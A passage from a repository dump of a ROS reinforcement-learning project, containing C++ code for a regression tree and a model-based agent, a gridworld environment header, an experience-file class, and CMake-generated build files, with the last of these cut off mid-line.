\" val: \" << val << endl;\n\n // find where this should go\n for (int j = 0; j <= i; j++){\n //cout << \" j: \" << j << endl;\n\n // get to i, this is the spot then\n if (j==i){\n values[j] = val;\n //cout << \" At i, putting value in slot j: \" << j << endl;\n }\n\n // if this is the spot\n else if (val < values[j]){\n //cout << \" Found slot at j: \" << j << endl;\n\n // slide everything forward to make room\n for (int k = i; k > j; k--){\n //cout << \" k = \" << k << \" Sliding value from k-1 to k\" << endl;\n values[k] = values[k-1];\n }\n\n // put value in its spot at j\n //cout << \" Putting value at slot j: \" << j << endl;\n values[j] = val;\n\n // break\n break;\n }\n\n }\n }\n\n if (DTDEBUG){\n cout << \"Sorted array: \" << values[0];\n for (int i = 1; i < (int)instances.size(); i++){\n cout << \", \" << values[i];\n }\n cout << endl;\n }\n\n return values;\n\n}\n\n\n/** Print the tree for debug purposes. */\nvoid LinearSplitsTree::printTree(tree_node *t, int level){\n\n for (int i = 0; i < level; i++){\n cout << \".\";\n }\n\n cout << \"Node \" << t->id << \" nInstances: \" << t->nInstances ;\n\n // Leaf, print regression stuff\n if (t->leaf){\n cout << \" Constant: \" << t->constant << \" coeff: \";\n for (unsigned j = 0; j < t->coefficients.size(); j++){\n if (!SIMPLE)\n cout << t->coefficients[j] << \", \";\n if (SIMPLE && t->coefficients[j] != 0)\n cout << \" on feat \" << j << \": \" << t->coefficients[j];\n }\n cout << endl;\n return;\n }\n\n // otherwise, print split info, next nodes\n\n cout << \" Type: CUT\";\n cout << \" Dim: \" << t->dim << \" Val: \" << t->val;\n cout << \" Left: \" << t->l->id << \" Right: \" << t->r->id << endl;\n\n // print children\n if (t->dim != -1 && !t->leaf){\n printTree(t->l, level+1);\n printTree(t->r, level+1);\n }\n\n}\n\n\n// output a map of outcomes and their probabilities for this leaf node\nvoid LinearSplitsTree::leafPrediction(tree_node* leaf, const std::vector<float> &input,\n std::map<float, float>* retval){\n if (DTDEBUG)\n cout << \"Calculating output for leaf \" << leaf->id << endl;\n\n float prediction = leaf->constant;\n if (DTDEBUG) cout << \"leaf constant: \" << leaf->constant << endl;\n\n // plus each coefficient\n for (unsigned i = 0; i < input.size(); i++){\n prediction += leaf->coefficients[i] * input[i];\n if (DTDEBUG) {\n cout << \"feat \" << i << \" coeff: \" << leaf->coefficients[i]\n << \" on input \" << input[i] << endl;\n }\n }\n\n if (DTDEBUG) cout << \" prediction: \" << prediction << endl;\n\n (*retval)[prediction] = 1.0;\n \n}\n\n\nvoid LinearSplitsTree::initNodes(){\n\n for (int i = 0; i < N_LS_NODES; i++){\n initTreeNode(&(allNodes[i]));\n freeNodes.push_back(i);\n if (NODEDEBUG) \n cout << \"init node \" << i << \" with id \" << allNodes[i].id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n }\n\n}\n\nLinearSplitsTree::tree_node* LinearSplitsTree::allocateNode(){\n if (freeNodes.empty()){\n tree_node* newNode = new tree_node;\n initTreeNode(newNode);\n if (NODEDEBUG) \n cout << id << \" PROBLEM: No more pre-allocated nodes!!!\" << endl\n << \"return new node \" << newNode->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n return newNode;\n }\n\n int i = freeNodes.back();\n freeNodes.pop_back();\n if (NODEDEBUG) \n cout << id << \" allocate node \" << i << \" with id \" << allNodes[i].id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n return &(allNodes[i]);\n}\n\nvoid LinearSplitsTree::deallocateNode(tree_node* node){\n if (node->id >= N_LS_NODES){\n if (NODEDEBUG) \n cout << id << \" dealloc extra node id \" << node->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n delete node;\n return;\n }\n\n freeNodes.push_back(node->id);\n if (NODEDEBUG) \n cout << id << \" dealloc node \" << node->id \n << \", now \" << freeNodes.size() << \" free nodes.\" << endl;\n}\n" }, { "alpha_fraction": 0.7025181651115417, "alphanum_fraction": 0.7059325575828552, "avg_line_length": 24.74725341796875, "blob_id": "bfc0e8ea30c9298b7af45cf4ef577f4849c871c3", "content_id": "574a9e124b11a26708b7c73625431411482254d2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2343, "license_type": "no_license", "max_line_length": 96, "num_lines": 91, "path": "/src/rl-texplore-ros-pkg-master/src/rl_env/include/rl_env/tworooms.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file tworooms.hh\n Defines a two room gridworld domain, with possible action delays or \n multiple goals (with partial observability). \n \\author Todd Hester\n*/\n\n#ifndef _TWOROOMS_H_\n#define _TWOROOMS_H_\n\n#include <set>\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n#include \"gridworld.hh\"\n\n#include <deque>\n\n\n/** This class defines a two room gridworld domain. It can optionally be stochastic, have action\n delays, or multiple goals (with partial observability). */\nclass TwoRooms: public Environment {\npublic:\n\n /** Standard Constructor\n \\param rand Random Number generator\n \\param stochastic Make the domain stochastic \n \\param rewardType Create -1 per step and 0 on termination (vs 0 and 1)\n \\param actDelay # of steps to delay actions\n \\param multiGoal create mulitple goals that are randomly selected from each episode\n */\n TwoRooms(Random &rand, bool stochastic, bool rewardType, int actDelay, bool multiGoal);\n\n virtual ~TwoRooms();\n\n virtual const std::vector<float> &sensation() const;\n virtual float apply(int action);\n\n virtual bool terminal() const;\n virtual void reset();\n\n virtual int getNumActions();\n virtual void getMinMaxFeatures(std::vector<float> *minFeat, std::vector<float> *maxFeat);\n virtual void getMinMaxReward(float* minR, float* maxR);\n\n /** Create an experience tuple for the given state-action. */\n experience getExp(float s0, float s1, int a);\n\n virtual std::vector<experience> getSeedings();\n\nprotected:\n typedef std::pair<float,float> coord_t;\n enum room_action_t {NORTH, SOUTH, EAST, WEST};\n\nprivate:\n const Gridworld *const grid;\n coord_t goal;\n coord_t goal2;\n std::deque<int> actHistory;\n bool useGoal2;\n\n const bool negReward;\n const bool noisy;\n const int actDelay;\n const bool multiGoal;\n\n Random &rng;\n\n coord_t doorway;\n\n std::vector<float> s;\n\n float &ns;\n float &ew;\n\n /** Create default two room gridworld */\n const Gridworld *create_default_map();\n\n /** Corrupts a movement action.\n \\param action The intended action\n \\return The action actually executed */\n room_action_t add_noise(room_action_t action);\n\n /** Randomly assigns the goal to any random \n position in the world. */\n void randomize_goal();\n\n /** Return the correct reward based on the current state. */\n float reward();\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.5695687532424927, "alphanum_fraction": 0.5732302665710449, "avg_line_length": 20.373912811279297, "blob_id": "be23ec9b3ab12f8a319d206fc716b16c9d0e14c7", "content_id": "6f31c73dc46e1164426dec166846cba60a8f6e72", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2458, "license_type": "no_license", "max_line_length": 71, "num_lines": 115, "path": "/src/rl-texplore-ros-pkg-master/src/rl_common/include/rl_common/ExperienceFile.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "#ifndef _EXPFILE_HH_\n#define _EXPFILE_HH_\n\n#include \"Random.h\"\n#include \"core.hh\"\n\n#include <vector>\n#include <algorithm>\n\n#include <sys/time.h>\n\nclass ExperienceFile {\npublic:\n /** Standard constructor\n */\n\n ofstream vectorFile;\n int expNum;\n\n ExperienceFile(){\n expNum = 0;\n }\n\n ~ExperienceFile(){\n if (vectorFile.is_open())\n vectorFile.close();\n }\n\n void initFile(const char* filename, int nfeats){\n vectorFile.open(filename, ios::out | ios::binary);\n\n // first part, save the vector size\n vectorFile.write((char*)&nfeats, sizeof(int));\n }\n\n void saveExperience(experience e){\n if (!vectorFile.is_open())\n return;\n\n /*\n if (expNum == 50){\n vectorFile.close();\n return;\n }\n */\n\n vectorFile.write((char*)&(e.s[0]), e.s.size()*sizeof(float));\n vectorFile.write((char*)&(e.next[0]), e.next.size()*sizeof(float));\n vectorFile.write((char*)&e.act, sizeof(int));\n vectorFile.write((char*)&e.reward, sizeof(float));\n vectorFile.write((char*)&e.terminal, sizeof(bool));\n\n //cout << \"Experience \" << expNum << endl;\n expNum++;\n //printExperience(e);\n }\n\n void printExperience(experience e){\n\n cout << \"State s: \";\n for(unsigned i = 0; i < e.s.size(); i++){\n cout << e.s[i] << \", \";\n }\n cout << endl << \" Next: \";\n for(unsigned i = 0; i < e.next.size(); i++){\n cout << e.next[i] << \", \";\n }\n cout << endl;\n cout << \"action: \" << e.act << \" reward: \" << e.reward << endl;\n\n }\n\n\n\n std::vector<experience> loadExperiences(const char* filename){\n ifstream inFile (filename, ios::in | ios::binary);\n\n int numFeats;\n inFile.read((char*)&numFeats, sizeof(int));\n\n std::vector<experience> seeds;\n\n // while file is not empty\n while(!inFile.eof()){\n experience e;\n e.s.resize(numFeats);\n e.next.resize(numFeats);\n\n inFile.read((char*)&(e.s[0]), e.s.size()*sizeof(float));\n if (inFile.eof()) break;\n inFile.read((char*)&(e.next[0]), e.next.size()*sizeof(float));\n if (inFile.eof()) break;\n inFile.read((char*)&e.act, sizeof(int));\n inFile.read((char*)&e.reward, sizeof(float));\n inFile.read((char*)&e.terminal, sizeof(bool));\n\n //cout << \"Experience \" << seeds.size() << endl;\n //printExperience(e);\n\n seeds.push_back(e);\n }\n\n inFile.close();\n\n return seeds;\n }\n\n void closeFile(){\n if (vectorFile.is_open())\n vectorFile.close();\n }\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.6877940893173218, "alphanum_fraction": 0.6877940893173218, "avg_line_length": 34.248779296875, "blob_id": "c5f25c065a5281cb2dd0ef44fe7744b9117b7443", "content_id": "489a8083197c9970ca751a5805177340f20a2f6d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 7226, "license_type": "no_license", "max_line_length": 108, "num_lines": 205, "path": "/src/rl-texplore-ros-pkg-master/src/rl_agent/include/rl_agent/ModelBasedAgent.hh", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "/** \\file ModelBasedAgent.hh\n Defines the ModelBasedAgent class\n \\author Todd Hester\n*/\n\n#ifndef _MODELBASED_HH_\n#define _MODELBASED_HH_\n\n#include <rl_common/Random.h>\n#include <rl_common/core.hh>\n\n#include <set>\n#include <vector>\n#include <map>\n\n/** Code for a model based agent, that can use any model and planner that meet the interface requirements */\nclass ModelBasedAgent: public Agent {\npublic:\n /** Standard constructor\n \\param numactions The number of possible actions\n \\param gamma The discount factor\n \\param rmax max reward value, given out for unknown states\n \\param rrange range between max and min reward in domain\n \\param modelType specifies model type\n \\param exploreType specifies exploration type\n \\param predType specifies how to combine multiple models\n \\param nModels number of models in ensemble\n \\param plannerType specifies planner type\n \\param epsilon used for epsilon-greedy action selection\n \\param lambda used for eligibility traces in uct planning\n \\param MAX_TIME amount of time the uct planners are given for planning\n \\param m # visits required for a state to become known when doing rmax exploration\n \\param featmin min values of each feature\n \\param featmax max values of each feature\n \\param statesPerDim # of values to discretize each feature into\n \\param history # of previous actions to use for delayed domains\n \\param b\\v bonus reward used when models disagree\n \\param n bonus reward used for novel states\n \\param depTrans assume dependent or indep. feature transitions\n \\param relTrans model transitions relatively vs absolutely\n \\param featPct pct of feature to remove from set used for each split in tree\n \\param stoch is the domain stochastic?\n \\param episodic is the domain episodic?\n \\param rng Initial state of the random number generator to use */\n ModelBasedAgent(int numactions, float gamma, float rmax, float rrange, \n int modelType, int exploreType, \n int predType, int nModels, int plannerType,\n float epsilon, float lambda, float MAX_TIME,\n float m, const std::vector<float> &featmin, \n const std::vector<float> &featmax,\n int statesPerDim, int history, float v, float n,\n bool depTrans, bool relTrans, float featPct,\n bool stoch, bool episodic, Random rng = Random());\n\n /** Standard constructor \n \\param numactions The number of possible actions\n \\param gamma The discount factor\n \\param rmax max reward value, given out for unknown states\n \\param rrange range between max and min reward in domain\n \\param modelType specifies model type\n \\param exploreType specifies exploration type\n \\param predType specifies how to combine multiple models\n \\param nModels number of models in ensemble\n \\param plannerType specifies planner type\n \\param epsilon used for epsilon-greedy action selection\n \\param lambda used for eligibility traces in uct planning\n \\param MAX_TIME amount of time the uct planners are given for planning\n \\param m # visits required for a state to become known when doing rmax exploration\n \\param featmin min values of each feature\n \\param featmax max values of each feature\n \\param statesPerDim # of values to discretize each feature into\n \\param history # of previous actions to use for delayed domains\n \\param b bonus reward used when models disagree\n \\param depTrans assume dependent or indep. feature transitions\n \\param relTrans model transitions relatively vs absolutely\n \\param featPct pct of feature to remove from set used for each split in tree\n \\param stoch is the domain stochastic?\n \\param episodic is the domain episodic?\n \\param rng Initial state of the random number generator to use*/\n ModelBasedAgent(int numactions, float gamma, float rmax, float rrange, \n int modelType, int exploreType, \n int predType, int nModels, int plannerType,\n float epsilon, float lambda, float MAX_TIME,\n float m, const std::vector<float> &featmin, \n const std::vector<float> &featmax,\n std::vector<int> statesPerDim, int history, float v, float n,\n bool depTrans, bool relTrans, float featPct,\n bool stoch, bool episodic, Random rng = Random());\n \n /** Init params for both constructors */\n void initParams();\n\n /** Unimplemented copy constructor: internal state cannot be simply\n copied. */\n ModelBasedAgent(const ModelBasedAgent &);\n\n virtual ~ModelBasedAgent();\n\n virtual int first_action(const std::vector<float> &s);\n virtual int next_action(float r, const std::vector<float> &s);\n virtual void last_action(float r);\n virtual void seedExp(std::vector<experience> seeds);\n virtual void setDebug(bool d);\n virtual void savePolicy(const char* filename);\n\n /** Output value function to a file */\n void logValues(ofstream *of, int xmin, int xmax, int ymin, int ymax);\n\n bool AGENTDEBUG;\n bool POLICYDEBUG; //= false; //true;\n bool ACTDEBUG;\n bool SIMPLEDEBUG;\n bool TIMEDEBUG;\n\n bool seeding;\n\n /** Model that we're using */\n MDPModel* model;\n\n /** Planner that we're using */\n Planner* planner;\n\n float planningTime;\n float modelUpdateTime;\n float actionTime;\n\n std::vector<float> featmin;\n std::vector<float> featmax;\n\nprotected:\n\n /** The implementation maps all sensations to a set of canonical\n pointers, which serve as the internal representation of\n environment state. */\n typedef const std::vector<float> *state_t;\n\n /** Saves state and action to use for update on next action */\n void saveStateAndAction(const std::vector<float> &s, int act);\n\n /** Select action from the given state */\n int chooseAction(const std::vector<float> &s);\n\n /** Initialize the model with the given # of features */\n void initModel(int nfactors);\n\n /** Initialize the planner */\n void initPlanner();\n\n /** Update the agent with the new s,a,s',r experience */\n void updateWithNewExperience(const std::vector<float> &last, \n const std::vector<float> & curr, \n int lastact, float reward, bool term);\n\n /** Get the current time in seconds */\n double getSeconds();\n\nprivate:\n\n /** Previous state */\n std::vector<float> prevstate;\n /** Previous action */\n int prevact;\n\n int nstates;\n int nactions; \n \n bool modelNeedsUpdate;\n int lastUpdate;\n\n int BATCH_FREQ;\n\n bool modelChanged;\n\n const int numactions;\n const float gamma;\n\n const float rmax;\n const float rrange;\n const float qmax;\n const int modelType;\n const int exploreType;\n const int predType;\n const int nModels;\n const int plannerType;\n\n const float epsilon;\n const float lambda;\n const float MAX_TIME;\n\n const float M;\n const std::vector<int> statesPerDim;\n const int history;\n const float v;\n const float n;\n const bool depTrans;\n const bool relTrans;\n const float featPct;\n const bool stoch;\n const bool episodic;\n\n Random rng;\n\n};\n\n#endif\n" }, { "alpha_fraction": 0.7848485112190247, "alphanum_fraction": 0.7939394116401672, "avg_line_length": 35.66666793823242, "blob_id": "a208a96a824a6846bb6b440ed10bedc0e665a44c", "content_id": "c9e74f6be6a1b2e26c33ed9b68ff99c2bcbe7282", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 330, "license_type": "no_license", "max_line_length": 95, "num_lines": 9, "path": "/build/homework2/CMakeFiles/homework2_generate_messages_nodejs.dir/cmake_clean.cmake", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "file(REMOVE_RECURSE\n \"CMakeFiles/homework2_generate_messages_nodejs\"\n \"/home/justin/ros_test/devel/share/gennodejs/ros/homework2/srv/string_cat.js\"\n)\n\n# Per-language clean rules from dependency scanning.\nforeach(lang )\n include(CMakeFiles/homework2_generate_messages_nodejs.dir/cmake_clean_${lang}.cmake OPTIONAL)\nendforeach()\n" }, { "alpha_fraction": 0.7605909705162048, "alphanum_fraction": 0.7643049359321594, "avg_line_length": 42.673797607421875, "blob_id": "ce85543431732df986f0a5de055169e6639e3067", "content_id": "dfda87c01f14735d66d77662ad80a3855a78d2a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Makefile", "length_bytes": 24502, "license_type": "no_license", "max_line_length": 196, "num_lines": 561, "path": "/build/mantis_model/Makefile", "repo_name": "jstestsuite/ros-test", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.10\n\n# Default target executed when no arguments are given to make.\ndefault_target: all\n\n.PHONY : default_target\n\n# Allow only one \"make -f Makefile2\" at a time, but pass parallelism.\n.NOTPARALLEL:\n\n\n#=============================================================================\n# Special targets provided by cmake.\n\n# Disable implicit rules so canonical targets will work.\n.SUFFIXES:\n\n\n# Remove some rules from gmake that .SUFFIXES does not remove.\nSUFFIXES =\n\n.SUFFIXES: .hpux_make_needs_suffix_list\n\n\n# Suppress display of executed commands.\n$(VERBOSE).SILENT:\n\n\n# A target that is always out of date.\ncmake_force:\n\n.PHONY : cmake_force\n\n#=============================================================================\n# Set environment variables for the build.\n\n# The shell in which to execute make rules.\nSHELL = /bin/sh\n\n# The CMake executable.\nCMAKE_COMMAND = /usr/bin/cmake\n\n# The command to remove a file.\nRM = /usr/bin/cmake -E remove -f\n\n# Escaping for special characters.\nEQUALS = =\n\n# The top-level source directory on which CMake was run.\nCMAKE_SOURCE_DIR = /home/justin/ros_test/src\n\n# The top-level build directory on which CMake was run.\nCMAKE_BINARY_DIR = /home/justin/ros_test/build\n\n#=============================================================================\n# Targets provided globally by CMake.\n\n# Special rule for the target install/local\ninstall/local: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local\n\n# Special rule for the target install/local\ninstall/local/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing only the local directory...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_LOCAL_ONLY=1 -P cmake_install.cmake\n.PHONY : install/local/fast\n\n# Special rule for the target install\ninstall: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install\n\n# Special rule for the target install\ninstall/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Install the project...\"\n\t/usr/bin/cmake -P cmake_install.cmake\n.PHONY : install/fast\n\n# Special rule for the target list_install_components\nlist_install_components:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Available install components are: \\\"Unspecified\\\"\"\n.PHONY : list_install_components\n\n# Special rule for the target list_install_components\nlist_install_components/fast: list_install_components\n\n.PHONY : list_install_components/fast\n\n# Special rule for the target test\ntest:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running tests...\"\n\t/usr/bin/ctest --force-new-ctest-process $(ARGS)\n.PHONY : test\n\n# Special rule for the target test\ntest/fast: test\n\n.PHONY : test/fast\n\n# Special rule for the target edit_cache\nedit_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"No interactive CMake dialog available...\"\n\t/usr/bin/cmake -E echo No\\ interactive\\ CMake\\ dialog\\ available.\n.PHONY : edit_cache\n\n# Special rule for the target edit_cache\nedit_cache/fast: edit_cache\n\n.PHONY : edit_cache/fast\n\n# Special rule for the target rebuild_cache\nrebuild_cache:\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Running CMake to regenerate build system...\"\n\t/usr/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)\n.PHONY : rebuild_cache\n\n# Special rule for the target rebuild_cache\nrebuild_cache/fast: rebuild_cache\n\n.PHONY : rebuild_cache/fast\n\n# Special rule for the target install/strip\ninstall/strip: preinstall\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip\n\n# Special rule for the target install/strip\ninstall/strip/fast: preinstall/fast\n\t@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan \"Installing the project stripped...\"\n\t/usr/bin/cmake -DCMAKE_INSTALL_DO_STRIP=1 -P cmake_install.cmake\n.PHONY : install/strip/fast\n\n# The main all target\nall: cmake_check_build_system\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles /home/justin/ros_test/build/mantis_model/CMakeFiles/progress.marks\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/all\n\t$(CMAKE_COMMAND) -E cmake_progress_start /home/justin/ros_test/build/CMakeFiles 0\n.PHONY : all\n\n# The main clean target\nclean:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/clean\n.PHONY : clean\n\n# The main clean target\nclean/fast: clean\n\n.PHONY : clean/fast\n\n# Prepare targets for installation.\npreinstall: all\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/preinstall\n.PHONY : preinstall\n\n# Prepare targets for installation.\npreinstall/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/preinstall\n.PHONY : preinstall/fast\n\n# clear depends\ndepend:\n\tcd /home/justin/ros_test/build && $(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1\n.PHONY : depend\n\n# Convenience name for target.\nmantis_model/CMakeFiles/joint_state_pub.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/joint_state_pub.dir/rule\n.PHONY : mantis_model/CMakeFiles/joint_state_pub.dir/rule\n\n# Convenience name for target.\njoint_state_pub: mantis_model/CMakeFiles/joint_state_pub.dir/rule\n\n.PHONY : joint_state_pub\n\n# fast build rule for target.\njoint_state_pub/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/joint_state_pub.dir/build.make mantis_model/CMakeFiles/joint_state_pub.dir/build\n.PHONY : joint_state_pub/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf2_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf2_msgs_generate_messages_lisp.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf2_msgs_generate_messages_lisp.dir/rule\n\n# Convenience name for target.\ntf2_msgs_generate_messages_lisp: mantis_model/CMakeFiles/tf2_msgs_generate_messages_lisp.dir/rule\n\n.PHONY : tf2_msgs_generate_messages_lisp\n\n# fast build rule for target.\ntf2_msgs_generate_messages_lisp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf2_msgs_generate_messages_lisp.dir/build.make mantis_model/CMakeFiles/tf2_msgs_generate_messages_lisp.dir/build\n.PHONY : tf2_msgs_generate_messages_lisp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ntf2_msgs_generate_messages_nodejs: mantis_model/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : tf2_msgs_generate_messages_nodejs\n\n# fast build rule for target.\ntf2_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/build.make mantis_model/CMakeFiles/tf2_msgs_generate_messages_nodejs.dir/build\n.PHONY : tf2_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf_generate_messages_nodejs.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\ntf_generate_messages_nodejs: mantis_model/CMakeFiles/tf_generate_messages_nodejs.dir/rule\n\n.PHONY : tf_generate_messages_nodejs\n\n# fast build rule for target.\ntf_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf_generate_messages_nodejs.dir/build.make mantis_model/CMakeFiles/tf_generate_messages_nodejs.dir/build\n.PHONY : tf_generate_messages_nodejs/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/sensor_msgs_generate_messages_nodejs.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/sensor_msgs_generate_messages_nodejs.dir/rule\n.PHONY : mantis_model/CMakeFiles/sensor_msgs_generate_messages_nodejs.dir/rule\n\n# Convenience name for target.\nsensor_msgs_generate_messages_nodejs: mantis_model/CMakeFiles/sensor_msgs_generate_messages_nodejs.dir/rule\n\n.PHONY : sensor_msgs_generate_messages_nodejs\n\n# fast build rule for target.\nsensor_msgs_generate_messages_nodejs/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/sensor_msgs_generate_messages_nodejs.dir/build.make mantis_model/CMakeFiles/sensor_msgs_generate_messages_nodejs.dir/build\n.PHONY : sensor_msgs_generate_messages_nodejs/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf_generate_messages_py.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf_generate_messages_py.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf_generate_messages_py.dir/rule\n\n# Convenience name for target.\ntf_generate_messages_py: mantis_model/CMakeFiles/tf_generate_messages_py.dir/rule\n\n.PHONY : tf_generate_messages_py\n\n# fast build rule for target.\ntf_generate_messages_py/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf_generate_messages_py.dir/build.make mantis_model/CMakeFiles/tf_generate_messages_py.dir/build\n.PHONY : tf_generate_messages_py/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/geometry_msgs_generate_messages_cpp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/geometry_msgs_generate_messages_cpp.dir/rule\n.PHONY : mantis_model/CMakeFiles/geometry_msgs_generate_messages_cpp.dir/rule\n\n# Convenience name for target.\ngeometry_msgs_generate_messages_cpp: mantis_model/CMakeFiles/geometry_msgs_generate_messages_cpp.dir/rule\n\n.PHONY : geometry_msgs_generate_messages_cpp\n\n# fast build rule for target.\ngeometry_msgs_generate_messages_cpp/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/geometry_msgs_generate_messages_cpp.dir/build.make mantis_model/CMakeFiles/geometry_msgs_generate_messages_cpp.dir/build\n.PHONY : geometry_msgs_generate_messages_cpp/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/tf_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/tf_generate_messages_eus.dir/rule\n.PHONY : mantis_model/CMakeFiles/tf_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ntf_generate_messages_eus: mantis_model/CMakeFiles/tf_generate_messages_eus.dir/rule\n\n.PHONY : tf_generate_messages_eus\n\n# fast build rule for target.\ntf_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/tf_generate_messages_eus.dir/build.make mantis_model/CMakeFiles/tf_generate_messages_eus.dir/build\n.PHONY : tf_generate_messages_eus/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/geometry_msgs_generate_messages_eus.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/geometry_msgs_generate_messages_eus.dir/rule\n.PHONY : mantis_model/CMakeFiles/geometry_msgs_generate_messages_eus.dir/rule\n\n# Convenience name for target.\ngeometry_msgs_generate_messages_eus: mantis_model/CMakeFiles/geometry_msgs_generate_messages_eus.dir/rule\n\n.PHONY : geometry_msgs_generate_messages_eus\n\n# fast build rule for target.\ngeometry_msgs_generate_messages_eus/fast:\n\tcd /home/justin/ros_test/build && $(MAKE) -f mantis_model/CMakeFiles/geometry_msgs_generate_messages_eus.dir/build.make mantis_model/CMakeFiles/geometry_msgs_generate_messages_eus.dir/build\n.PHONY : geometry_msgs_generate_messages_eus/fast\n\n# Convenience name for target.\nmantis_model/CMakeFiles/geometry_msgs_generate_messages_lisp.dir/rule:\n\tcd /home/justin/ros_test/build && $(MAKE) -f CMakeFiles/Makefile2 mantis_model/CMakeFiles/geometry_msgs_generate_messages_lisp.dir/rule\n.PHONY : 